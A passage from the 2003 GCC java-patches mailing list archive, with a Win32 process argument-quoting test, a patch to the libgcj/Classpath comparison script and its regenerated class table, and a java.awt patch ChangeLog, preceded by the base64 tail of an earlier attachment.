bSA8L2E+PGJyPg0KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5t c24uY29tIj53d3cubXNuLmNvbTwvYT48YnI+DQogICAgICAgICAgICA8YSBo cmVmPSJodHRwOi8vd3d3LmluZm9oaXdheS5jb20iPnd3dy5pbmZvaGl3YXku Y29tIDwvYT48YnI+DQogICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vd3d3 LmFsZXhhLmNvbSI+d3d3LmFsZXhhLmNvbSA8YnI+DQogICAgICAgICAgICA8 YnI+DQogICAgICAgICAgICA8YnI+DQogICAgICAgICAgICA8L2E+PC9mb250 Pjxmb250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMt c2VyaWYiIHNpemU9IjEiIGNvbG9yPSIjMzMzMzMzIj48Yj5DdXN0b21lciAN CiAgICAgICAgICAgIEZlZWRiYWNrOjwvYj48L2ZvbnQ+PGZvbnQgc2l6ZT0i MSIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJp ZiIgY29sb3I9IiNGRjY2MDAiPjxhIGhyZWY9Imh0dHA6Ly93d3cuYWxleGEu Y29tJTIwJTNDYnIlM0UiPjxicj4NCiAgICAgICAgICAgIDxicj4NCiAgICAg ICAgICAgIDwvYT48L2ZvbnQ+PGZvbnQgZmFjZT0iVmVyZGFuYSwgQXJpYWws IEhlbHZldGljYSwgc2Fucy1zZXJpZiIgc2l6ZT0iMiIgY29sb3I9IiMwMDAw MDAiPjxmb250IHNpemU9IjEiPiZxdW90Ozxmb250IGNvbG9yPSIjRkY2NjAw Ij4uLi48L2ZvbnQ+PC9mb250Pjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSIx Ij48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5z LXNlcmlmIj48Zm9udCBjb2xvcj0iI0ZGNjYwMCI+SXRzIA0KICAgICAgICAg ICAgaGFyZCB0byBiZWxpZXZlIHRoYXQgdGhlIGNoZWFwZXN0IG1hcmtldGlu ZyBjYXNoIHdlIHNwZW50IGhhdmUgdHJpcGxlZCANCiAgICAgICAgICAgIHRo ZSBudW1iZXIgb2YgaW5xdWlyaWVzIHdlIGFyZSBnZXR0aW5nIG9uIG91ciBz aXRlLCBsb29raW5nIGZvcndhcmQgDQogICAgICAgICAgICB0byBtYW55IG1v cmUgeWVhcnMgb2YgZ3JlYXQgc2VydmljZSE8L2ZvbnQ+PC9mb250PjwvZm9u dD48Zm9udCBjb2xvcj0iI0ZGNjYwMCIgc2l6ZT0iMSI+Li48L2ZvbnQ+PGZv bnQgc2l6ZT0iMSI+JnF1b3Q7PGJyPg0KICAgICAgICAgICAgPC9mb250Pjwv Zm9udD48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBz YW5zLXNlcmlmIiBzaXplPSIxIiBjb2xvcj0iIzMzMzMzMyI+PGI+Vy5IYXJ0 bGV5IA0KICAgICAgICAgICAgLSA8L2I+VVM8YnI+DQogICAgICAgICAgICA8 L2ZvbnQ+PC9wPg0KICAgICAgICAgIDxwPjxmb250IGZhY2U9IlZlcmRhbmEs IEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9IjEiIGNvbG9y PSIjMDAwMDAwIj4mcXVvdDs8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+Li4uVGhh bmtzIA0KICAgICAgICAgICAgZm9yIHRoZSBncmVhdCBzZXJ2aWNlLiBOb3cg bXkgc2l0ZSBpcyByZWdpc3RlcmVkIHdpdGggdGhlIHNlYXJjaCBlbmdpbmVz IA0KICAgICAgICAgICAgbXkgaGl0IHJhdGVzIGhhdmUgaGl0IHRoZSByb29m LjwvZm9udD4uLiZxdW90Ozxicj4NCiAgICAgICAgICAgIDwvZm9udD48Zm9u dCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlm IiBzaXplPSIxIiBjb2xvcj0iIzMzMzMzMyI+PGI+Qk0uIA0KICAgICAgICAg ICAgUHJpdGNoYXJkIC08L2I+KExvbmRvbikgPC9mb250Pjxmb250IGZhY2U9 IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNpemU9 IjEiIGNvbG9yPSIjMzMzMzMzIj5VSzwvZm9udD48L3A+DQogICAgICAgICAg PC90ZD4NCiAgICAgIDwvdHI+DQogICAgPC90YWJsZT4NCiAgICANCiAgPC9k aXY+DQo8L2Rpdj4NCjxwIGFsaWduPSJjZW50ZXIiPiA8L3A+DQo8ZGl2IGFs aWduPSJjZW50ZXIiPiANCiAgPHRhYmxlIHdpZHRoPSI2MDAiIGJvcmRlcj0i MCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCiAgICA8dHI+ IA0KICAgICAgPHRkPiANCiAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj48 Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNl cmlmIiBzaXplPSIxIj5Db3B5cmlnaHQgDQogICAgICAgICAgqSAyMDAxIFhl bm9uIFJlZWQgVGVjaCBHcm91cC4gQWxsIFJpZ2h0cyBSZXNlcnZlZDwvZm9u dD48L2Rpdj4NCiAgICAgIDwvdGQ+DQogICAgPC90cj4NCiAgPC90YWJsZT4N CjwvZGl2Pg0KPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC9wPg0KPC9ib2R5 Pg0KPC9odG1sPg0KDQo0MDQ5Q2w1 From java-patches-return-6231-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 21:20:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10257 invoked by alias); 20 Feb 2003 21:20:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10244 invoked from network); 20 Feb 2003 21:20:53 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 20 Feb 2003 21:20:53 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1KLKq407177 for ; Thu, 20 Feb 2003 15:20:52 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Thu, 20 Feb 2003 15:20:39 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch: Win32 Process Implementation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Hi Ranjit, I tested your hypothesis by updating PrintArgsTest.java (cf. "1\" 2 3 4 \"5"): import java.io.*; public class PrintArgsTest { public static void main(String[] args) throws IOException { Process prc = Runtime .getRuntime() .exec ( new String[] { "PrintArgs.exe", "addr2line", "-f", "-e", "D:\\Program Files\\thisiscool-gcc\\examples\\PrintArgs\\PrintArgsTest.exe", "A line with \"quotes\". So there. Ha.", "1\" 2 3 4 \"5" } ); .... } } It produces the following output, as you predicted: Hello from PrintArgs.exe --> "PrintArgs.exe" --> "addr2line" --> "-f" --> "-e" --> "D:\Program Files\thisiscool-gcc\examples\PrintArgs\PrintArgsTest.exe" --> "A line with quotes. So there. Ha." --> "1" --> "2" --> "3" --> "4" --> "5" I'll update and resubmit my patch to reflect this. This is pretty arcane, so thanks for catching this! -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6232-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 02:10:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26394 invoked by alias); 21 Feb 2003 02:10:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26318 invoked from network); 21 Feb 2003 02:10:27 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 02:10:27 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA02973; Thu, 20 Feb 2003 19:10:25 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 561E44F828E; Thu, 20 Feb 2003 19:01:37 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: update classpath comparison script From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: On the other hand, life can be an endless parade of TRANSSEXUAL QUILTING BEES aboard a cruise ship to DISNEYWORLD if only we let it!! Date: 20 Feb 2003 19:01:36 -0700 Message-ID: <87n0kq1jen.fsf@fleche.redhat.com> Lines: 31 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the libgcj/classpath comparison script to include some more packages that are currently merged. Tom Index: gen-classpath-compare =================================================================== RCS file: /cvs/gcc/wwwdocs/bin/gen-classpath-compare,v retrieving revision 1.2 diff -u -r1.2 gen-classpath-compare --- gen-classpath-compare 10 Nov 2002 21:38:41 -0000 1.2 +++ gen-classpath-compare 21 Feb 2003 02:03:54 -0000 @@ -63,12 +63,13 @@ No='No' Yes='Yes' -# Note: for now, we omit most of gnu.* (it differs too much) and also -# javax.swing, +# Note: for now, we omit much of gnu.* (it differs too much) and also +# javax.swing. (cd $LIBGCJ; find . -name '*.java' -print; \ cd $CLASSPATH; find . -name '*.java' -print) | sort | uniq | sed -e 's,^\./,,' | -grep -E '^(java|gnu/java/security|gnu/java/rmi|javax/naming|javax/transaction|javax/sql)/' | +grep -E '^(java|gnu/java/security|gnu/java|gnu/javax/rmi|javax/naming|javax/transaction|javax/sql)/' | +grep -E -v '^(gnu/java/io|gnu/java/lang|gnu/java/net)' | (cd $LIBGCJ while read f; do class=`echo $f | sed -e 's,/,.,g' -e 's,\.java$,,'` From java-patches-return-6233-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 02:13:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7852 invoked by alias); 21 Feb 2003 02:13:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7841 invoked from network); 21 Feb 2003 02:13:25 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 21 Feb 2003 02:13:25 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA03555; Thu, 20 Feb 2003 19:13:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 465C04F828E; Thu, 20 Feb 2003 19:04:33 -0700 (MST) To: java-patches@gcc.gnu.org Cc: Gcc Patch List Subject: Patch: FYI: Classpath comparison pages From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I can see you GUYS an' GALS need a LOT of HELP...You're all very STUPID!! I used to be STUPID, too..before I started watching UHF-TV!! Date: 20 Feb 2003 19:04:32 -0700 Message-ID: <87isve1j9r.fsf@fleche.redhat.com> Lines: 279 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the libgcj/classpath comparison web pages. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.61 diff -u -r1.61 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 5 Jan 2003 01:18:35 -0000 1.61 +++ libgcj-classpath-compare.html 21 Feb 2003 02:12:05 -0000 @@ -8,7 +8,7 @@

This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-01-04. +2003-02-20. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -18,6 +18,171 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -32,6 +197,7 @@ + @@ -56,42 +222,32 @@ - + - - - - - - - + - - - - - - - - + + + + @@ -118,15 +274,6 @@ - - - - - - - - - @@ -143,6 +290,7 @@ +
Class libgcj Classpath Merge Status
gnu.java.awt.image.GdkPixbufDecoder No Yes No
gnu.java.awt.image.GtkOffScreenDecoder No Yes No
gnu.java.awt.peer.gtk.GtkToolkit Yes Yes Diff
gnu.java.locale.LocaleInformation_af_ZA Yes Yes No
gnu.java.locale.LocaleInformation_ar_AE Yes Yes No
gnu.java.locale.LocaleInformation_ar_BH Yes Yes No
gnu.java.locale.LocaleInformation_ar_DZ Yes Yes No
gnu.java.locale.LocaleInformation_ar_EG Yes Yes No
gnu.java.locale.LocaleInformation_ar_IN Yes Yes No
gnu.java.locale.LocaleInformation_ar_IQ Yes Yes No
gnu.java.locale.LocaleInformation_ar_JO Yes Yes No
gnu.java.locale.LocaleInformation_ar_KW Yes Yes No
gnu.java.locale.LocaleInformation_ar_LB Yes Yes No
gnu.java.locale.LocaleInformation_ar_LY Yes Yes No
gnu.java.locale.LocaleInformation_ar_MA Yes Yes No
gnu.java.locale.LocaleInformation_ar_OM Yes Yes No
gnu.java.locale.LocaleInformation_ar_QA Yes Yes No
gnu.java.locale.LocaleInformation_ar_SD Yes Yes No
gnu.java.locale.LocaleInformation_ar_SY Yes Yes No
gnu.java.locale.LocaleInformation_ar_TN Yes Yes No
gnu.java.locale.LocaleInformation_ar_YE Yes Yes No
gnu.java.locale.LocaleInformation_be_BY Yes Yes No
gnu.java.locale.LocaleInformation_bn_IN Yes Yes No
gnu.java.locale.LocaleInformation_br_FR Yes Yes No
gnu.java.locale.LocaleInformation_bs_BA Yes Yes No
gnu.java.locale.LocaleInformation_ca_ES Yes Yes No
gnu.java.locale.LocaleInformation_cs_CZ Yes Yes No
gnu.java.locale.LocaleInformation_cy_GB Yes Yes No
gnu.java.locale.LocaleInformation_da_DK Yes Yes No
gnu.java.locale.LocaleInformation_de_AT Yes Yes No
gnu.java.locale.LocaleInformation_de_BE Yes Yes No
gnu.java.locale.LocaleInformation_de_CH Yes Yes No
gnu.java.locale.LocaleInformation_de_DE Yes Yes No
gnu.java.locale.LocaleInformation_de_LU Yes Yes No
gnu.java.locale.LocaleInformation_el_GR Yes Yes No
gnu.java.locale.LocaleInformation_en_AU Yes Yes No
gnu.java.locale.LocaleInformation_en_BW Yes Yes No
gnu.java.locale.LocaleInformation_en_CA Yes Yes No
gnu.java.locale.LocaleInformation_en_DK Yes Yes No
gnu.java.locale.LocaleInformation_en_GB Yes Yes No
gnu.java.locale.LocaleInformation_en_HK Yes Yes No
gnu.java.locale.LocaleInformation_en_IE Yes Yes No
gnu.java.locale.LocaleInformation_en_IN Yes Yes No
gnu.java.locale.LocaleInformation_en_NZ Yes Yes No
gnu.java.locale.LocaleInformation_en_PH Yes Yes No
gnu.java.locale.LocaleInformation_en_SG Yes Yes No
gnu.java.locale.LocaleInformation_en_US Yes Yes No
gnu.java.locale.LocaleInformation_en_ZA Yes Yes No
gnu.java.locale.LocaleInformation_en_ZW Yes Yes No
gnu.java.locale.LocaleInformation_es_AR Yes Yes No
gnu.java.locale.LocaleInformation_es_BO Yes Yes No
gnu.java.locale.LocaleInformation_es_CL Yes Yes No
gnu.java.locale.LocaleInformation_es_CO Yes Yes No
gnu.java.locale.LocaleInformation_es_CR Yes Yes No
gnu.java.locale.LocaleInformation_es_DO Yes Yes No
gnu.java.locale.LocaleInformation_es_EC Yes Yes No
gnu.java.locale.LocaleInformation_es_ES Yes Yes No
gnu.java.locale.LocaleInformation_es_GT Yes Yes No
gnu.java.locale.LocaleInformation_es_HN Yes Yes No
gnu.java.locale.LocaleInformation_es_MX Yes Yes No
gnu.java.locale.LocaleInformation_es_NI Yes Yes No
gnu.java.locale.LocaleInformation_es_PA Yes Yes No
gnu.java.locale.LocaleInformation_es_PE Yes Yes No
gnu.java.locale.LocaleInformation_es_PR Yes Yes No
gnu.java.locale.LocaleInformation_es_PY Yes Yes No
gnu.java.locale.LocaleInformation_es_SV Yes Yes No
gnu.java.locale.LocaleInformation_es_US Yes Yes No
gnu.java.locale.LocaleInformation_es_UY Yes Yes No
gnu.java.locale.LocaleInformation_es_VE Yes Yes No
gnu.java.locale.LocaleInformation_et_EE Yes Yes No
gnu.java.locale.LocaleInformation_eu_ES Yes Yes No
gnu.java.locale.LocaleInformation_fa_IR Yes Yes No
gnu.java.locale.LocaleInformation_fi_FI Yes Yes No
gnu.java.locale.LocaleInformation_fo_FO Yes Yes No
gnu.java.locale.LocaleInformation_fr_BE Yes Yes No
gnu.java.locale.LocaleInformation_fr_CA Yes Yes No
gnu.java.locale.LocaleInformation_fr_CH Yes Yes No
gnu.java.locale.LocaleInformation_fr_FR Yes Yes No
gnu.java.locale.LocaleInformation_fr_LU Yes Yes No
gnu.java.locale.LocaleInformation_ga_IE Yes Yes No
gnu.java.locale.LocaleInformation_gd_GB Yes Yes No
gnu.java.locale.LocaleInformation_gl_ES Yes Yes No
gnu.java.locale.LocaleInformation_gv_GB Yes Yes No
gnu.java.locale.LocaleInformation_he_IL Yes Yes No
gnu.java.locale.LocaleInformation_hi_IN Yes Yes No
gnu.java.locale.LocaleInformation_hr_HR Yes Yes No
gnu.java.locale.LocaleInformation_hu_HU Yes Yes No
gnu.java.locale.LocaleInformation_id_ID Yes Yes No
gnu.java.locale.LocaleInformation_it_CH Yes Yes No
gnu.java.locale.LocaleInformation_it_IT Yes Yes No
gnu.java.locale.LocaleInformation_iw_IL Yes Yes No
gnu.java.locale.LocaleInformation_ja_JP Yes Yes No
gnu.java.locale.LocaleInformation_ka_GE Yes Yes No
gnu.java.locale.LocaleInformation_kl_GL Yes Yes No
gnu.java.locale.LocaleInformation_ko_KR Yes Yes No
gnu.java.locale.LocaleInformation_kw_GB Yes Yes No
gnu.java.locale.LocaleInformation_lt_LT Yes Yes No
gnu.java.locale.LocaleInformation_lv_LV Yes Yes No
gnu.java.locale.LocaleInformation_mi_NZ Yes Yes No
gnu.java.locale.LocaleInformation_mk_MK Yes Yes No
gnu.java.locale.LocaleInformation_mr_IN Yes Yes No
gnu.java.locale.LocaleInformation_mt_MT Yes Yes No
gnu.java.locale.LocaleInformation_nl_BE Yes Yes No
gnu.java.locale.LocaleInformation_nl_NL Yes Yes No
gnu.java.locale.LocaleInformation_nn_NO Yes Yes No
gnu.java.locale.LocaleInformation_no_NO Yes Yes No
gnu.java.locale.LocaleInformation_oc_FR Yes Yes No
gnu.java.locale.LocaleInformation_pl_PL Yes Yes No
gnu.java.locale.LocaleInformation_pt_BR Yes Yes No
gnu.java.locale.LocaleInformation_pt_PT Yes Yes No
gnu.java.locale.LocaleInformation_ro_RO Yes Yes No
gnu.java.locale.LocaleInformation_ru_RU Yes Yes No
gnu.java.locale.LocaleInformation_ru_UA Yes Yes No
gnu.java.locale.LocaleInformation_se_NO Yes Yes No
gnu.java.locale.LocaleInformation_sk_SK Yes Yes No
gnu.java.locale.LocaleInformation_sl_SI Yes Yes No
gnu.java.locale.LocaleInformation_sq_AL Yes Yes No
gnu.java.locale.LocaleInformation_sr_YU Yes Yes No
gnu.java.locale.LocaleInformation_sv_FI Yes Yes No
gnu.java.locale.LocaleInformation_sv_SE Yes Yes No
gnu.java.locale.LocaleInformation_ta_IN Yes Yes No
gnu.java.locale.LocaleInformation_te_IN Yes Yes No
gnu.java.locale.LocaleInformation_tg_TJ Yes Yes No
gnu.java.locale.LocaleInformation_tl_PH Yes Yes No
gnu.java.locale.LocaleInformation_tr_TR Yes Yes No
gnu.java.locale.LocaleInformation_uk_UA Yes Yes No
gnu.java.locale.LocaleInformation_ur_PK Yes Yes No
gnu.java.locale.LocaleInformation_uz_UZ Yes Yes No
gnu.java.locale.LocaleInformation_vi_VN Yes Yes No
gnu.java.locale.LocaleInformation_yi_US Yes Yes No
gnu.java.locale.LocaleInformation_zh_CN Yes Yes No
gnu.java.locale.LocaleInformation_zh_HK Yes Yes No
gnu.java.locale.LocaleInformation_zh_SG Yes Yes No
gnu.java.locale.LocaleInformation_zh_TW Yes Yes No
gnu.java.nio.ByteBufferImpl Yes Yes Diff
gnu.java.nio.CharBufferImpl Yes Yes Diff
gnu.java.nio.DatagramChannelImpl Yes Yes Diff
gnu.java.nio.DoubleBufferImpl Yes Yes Diff
gnu.java.nio.FileChannelImpl Yes Yes Diff
gnu.java.nio.FileLockImpl Yes No Yes
gnu.java.nio.FloatBufferImpl Yes Yes Diff
gnu.java.nio.IntBufferImpl Yes Yes Diff
gnu.java.nio.LongBufferImpl Yes Yes Diff
gnu.java.nio.MappedByteFileBuffer No Yes No
gnu.java.nio.MappedCharFileBuffer No Yes No
gnu.java.nio.MappedDoubleFileBuffer No Yes No
gnu.java.nio.MappedFloatFileBuffer No Yes No
gnu.java.nio.MappedIntFileBuffer No Yes No
gnu.java.nio.MappedLongFileBuffer No Yes No
gnu.java.nio.MappedShortFileBuffer No Yes No
gnu.java.nio.SelectionKeyImpl Yes Yes Diff
gnu.java.nio.SelectorImpl Yes Yes Diff
gnu.java.nio.SelectorProviderImpl Yes Yes Diff
gnu.java.nio.ServerSocketChannelImpl Yes Yes Diff
gnu.java.nio.ShortBufferImpl Yes Yes Diff
gnu.java.nio.SocketChannelImpl Yes Yes Diff
gnu.javax.rmi.CORBA.DelegateFactory No Yes No
gnu.javax.rmi.CORBA.GetDelegateInstanceException No Yes No
gnu.javax.rmi.CORBA.PortableRemoteObjectDelegateImpl No Yes No
gnu.javax.rmi.CORBA.StubDelegateImpl No Yes No
gnu.javax.rmi.CORBA.UtilDelegateImpl No Yes No
gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No
gnu.javax.rmi.PortableServer No Yes No
java.awt.Graphics2D Yes Yes Diff
java.awt.ScrollPaneAdjustable Yes Yes Diff
java.awt.Toolkit Yes Yes Diff
java.io.DataOutputStream Yes Yes No
java.io.FileDescriptor Yes Yes No
java.io.OutputStreamWriter Yes Yes No
java.io.PrintStream Yes Yes No
java.io.RandomAccessFile Yes Yes No
java.io.VMObjectStreamClass Yes No Yes
java.lang.Character Yes Yes Diff
java.lang.Class Yes No No
java.lang.ClassLoader Yes Yes Diff
java.lang.VMSecurityManager Yes No No
java.lang.VMThrowable Yes No Yes
java.lang.Win32Process Yes No No
java.net.DatagramSocket Yes Yes No
java.net.DatagramSocket Yes Yes Diff
java.net.InetAddress Yes Yes No
java.net.JarURLConnection Yes Yes No
java.net.MimeTypeMapper No Yes No
java.net.MulticastSocket Yes Yes Diff
java.net.NetPermission Yes Yes Diff
java.net.NetworkInterface Yes Yes Diff
java.net.PlainDatagramSocketImpl Yes Yes No
java.net.PlainSocketImpl Yes Yes No
java.net.ServerSocket Yes Yes Diff
java.net.SocketAddress Yes Yes Diff
java.net.SocketInputStream No Yes No
java.net.Socket Yes Yes Diff
java.net.SocketOutputStream No Yes No
java.net.SocketPermission Yes Yes Diff
java.net.URI Yes Yes Diff
java.net.URLClassLoader Yes Yes Diff
java.net.URLConnection Yes Yes No
java.net.URLDecoder Yes Yes Diff
java.net.URL Yes Yes Diff
java.net.URLStreamHandler Yes Yes Diff
java.nio.Buffer Yes Yes Diff
java.nio.ByteBuffer Yes Yes Diff
java.nio.channels.Channels No Yes No
java.nio.channels.Channels Yes Yes Diff
java.nio.channels.DatagramChannel Yes Yes Diff
java.nio.channels.FileChannel Yes Yes Diff
java.nio.channels.FileLock No Yes No
java.nio.channels.Pipe Yes Yes Diff
java.nio.channels.SelectableChannel Yes Yes Diff
java.nio.channels.SelectionKey Yes Yes Diff
java.nio.channels.ServerSocketChannel Yes Yes Diff
java.nio.channels.SocketChannel Yes Yes Diff
java.nio.channels.spi.AbstractInterruptibleChannel Yes Yes Diff
java.nio.channels.spi.AbstractSelectableChannel Yes Yes Diff
java.nio.channels.spi.SelectorProvider Yes Yes Diff
java.nio.CharBuffer Yes Yes Diff
java.nio.charset.CharsetEncoder Yes Yes Diff
java.nio.charset.Charset Yes Yes Diff
java.nio.charset.IllegalCharsetNameException Yes Yes Diff
java.nio.charset.UnsupportedCharsetException Yes Yes Diff
java.nio.DoubleBuffer Yes Yes Diff
java.nio.FloatBuffer Yes Yes Diff
java.nio.IntBuffer Yes Yes Diff
java.util.logging.SocketHandler No Yes No
java.util.logging.StreamHandler No Yes No
java.util.logging.XMLFormatter No Yes No
java.util.prefs.AbstractPreferences No Yes No
java.util.prefs.BackingStoreException No Yes No
java.util.prefs.InvalidPreferencesFormatException No Yes No
java.util.prefs.NodeChangeEvent No Yes No
java.util.prefs.NodeChangeListener No Yes No
java.util.prefs.PreferenceChangeEvent No Yes No
java.util.prefs.PreferenceChangeListener No Yes No
java.util.prefs.PreferencesFactory No Yes No
java.util.prefs.Preferences No Yes No
java.util.ResourceBundle Yes Yes Diff
java.util.zip.DeflaterConstants No Yes No
java.util.zip.DeflaterEngine No Yes No
java.util.zip.OutputWindow No Yes No
java.util.zip.PendingBuffer No Yes No
java.util.zip.StreamManipulator No Yes No
java.util.zip.ZipFile Yes Yes Diff
From java-patches-return-6234-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 21 09:15:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4517 invoked by alias); 21 Feb 2003 09:15:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4509 invoked from network); 21 Feb 2003 09:15:00 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 21 Feb 2003 09:15:00 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-74-115.ewetel.net [80.228.74.115]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1L9Dwbq021134 for ; Fri, 21 Feb 2003 10:13:59 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt Date: Fri, 21 Feb 2003 11:08:26 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_aqfV+T4MhLVEpB7" Message-Id: <200302211108.29958.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_aqfV+T4MhLVEpB7 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I wrote this patch for java.awt. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+VfqdWSOgCCdjSDsRAv7SAJ9a2XabaRAV6VIgwtJKDItAPuep5wCeOP35 i3WAGJN/9jy1zi+akqfLXHs=3D =3Dw0TD =2D----END PGP SIGNATURE----- --Boundary-00=_aqfV+T4MhLVEpB7 Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1725 diff -u -r1.1725 ChangeLog --- ChangeLog 21 Feb 2003 08:19:34 -0000 1.1725 +++ ChangeLog 21 Feb 2003 09:05:50 -0000 @@ -1,5 +1,36 @@ 2003-02-21 Michael Koch + * java/awt/Component.java + (eventTypeEnabled): New method. + (dispatchEventImpl): Moved checks for event to eventTypeEnabled. + * java/awt/Container.java + (changeSupport): New member variable. + (addPropertyChangeListener): New methods. + * java/awt/ContainerOrderFocusTraversalPolicy.java + (ContainerOrderFocusTraversalPolicy): Added comment. + (getComponentAfter): Throw exception, documentation added. + (getComponentBefore): Throw exception, documentation added. + (getFirstComponent): Throw exception, documentation added. + (getLastComponent): Throw exception, documentation added. + (getDefaultComponent): Throw exception, documentation added. + * java/awt/EventQueue.java: Reindented. + * java/awt/FocusTraversalPolicy.java: + (FocusTraversalPolicy): Added comment. + (getComponentAfter): Documentation added. + (getComponentBefore): Documentation added. + (getFirstComponent): Documentation added. + (getLastComponent): Documentation added. + (getDefaultComponent): Documentation added. + (getInitialComponent): Documentation added. + * java/awt/ScrollPane.java + (wheelScrollingEnabled): New member variable. + (ScrollPane): Initialize wheelScollingEnabled. + (eventTypeEnabled): New method. + (isWheelScrollingEnabled): New method. + (setWheelScrollingEnabled): New method. + +2003-02-21 Michael Koch + * gnu/java/nio/natSocketChannelImpl.cc: Reverse logic for DISABLE_JAVA_NET. Thanks to Krister Walfridsson for pointing to it. Index: java/awt/Component.java =================================================================== RCS file: 